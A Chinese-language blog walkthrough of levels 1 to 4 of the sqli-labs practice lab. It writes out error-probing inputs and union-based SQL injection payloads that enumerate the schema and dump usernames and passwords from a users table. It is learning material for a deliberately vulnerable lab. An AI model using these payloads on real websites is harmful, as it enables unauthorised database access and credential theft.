sqli_labs_master 第1,2,3,4关及其总结

0x00 前言
学习了一些基础sql知识之后,开始着手进行sql注入,这部分考虑到用词好像比较严谨一点转回中文来写XD 英语不过关是那样的

0x01 注入前戏
开射之前总得来丶前戏,先来个id=1看看有啥效果先

正常回显,然后按照别人思路(毕竟一开始不会很正常别尬黑),先尝试单引号看看有没有闭合错误
/?id=1'

报错,说明此处是id='$id' 这样的形式,那么就用--+把后面注释掉
井号不大好用,会转码导致注释失败,他妈的这markdown语法把我井号吞了

0x02开始注入
先用select查询出回显的元素处于表的哪个位置
/?id=1' union all select 1,2,3--+
结果正常回显了XD,这里就忽略了一个很重要的东西:我们要让id=-1 破坏它正常回显,让我们的select语句能执行并回显我们想要的东西
改为/?id=-1' union all select 1,2,3--+

可以看到回显了2和3,我们就在2和3做文章
先看数据库:
/?id=-1' union all select 1,database(),3--+

于是我们知道了数据库名是security
然后再看表名:
/?id=-1' union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

然后我们选users这个表,来查看他的列名,因为里面很可能有用户名和对应密码
/?id=-1' union all select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

果然没有错,这一个表第一列是id,第二列是用户名,第三列是密码,那么我们对应到2,3位上,对payload做出相应修改
/?id=-1' union all select 1,group_concat(username),group_concat(password) from users--+

于是最后我们拿到了我们想要的一切,注入成功

本关知识点回顾
1:select看回显位置
2:改成-1破坏正常回显
3:一些语法结构的东西等学到了再来补上

晚安!

2020.11.26 二次更新:关于sqli-lab-master第二关
0x03 注入前戏2
同第一关,先尝试id=1',再次报错,但是报错内容与第一关稍有不同

与第一关相比少了点东西,根据规律可以想象出来,这里应该是id=$id 也就是说没有引号了,则payload不能再加引号,直接写就行,不然会报错

0x04 正式注入
同第一关,只是payload上不用再用单引号,故此处不再赘述

0x05 第三关注入前戏
同上/?id=1' 报错,这一次报错再次与第二关有区别

这里-1')提示了一波,猜测了一下应该是id=('$id'),于是构造payload:
/?id=-1') union select 1,2,3--+
回显显示2,3 于是后续步骤全部和上面一样,手注一次当复习,过程不赘述

0x06 第四关注入前戏
同上/?id=1' 这次没有报错了,尝试一波/?id=1"成功报错

这一次根据错误报告猜测出id=("$id"),于是构造payload:
/?id=-1") union select 1,2,3--+
回显2,3 那么后续步骤同上了。

0x07 前四关总结
看标题来说,前四关均属于Error Based
第一关是单引号闭合错误
第二关是无闭合
第三关是单引号加括号错误
第三关是双引号加括号错误
四关的核心思路都是:构造一个payload使得提前闭合,然后执行后边的语句,原来的限制符因为我的--+被注释掉了,破坏了原有的结构,因此成功注入

posted @ 2020-11-24 22:42  ChristopherWu  阅读(134)  评论(0编辑  收藏  举报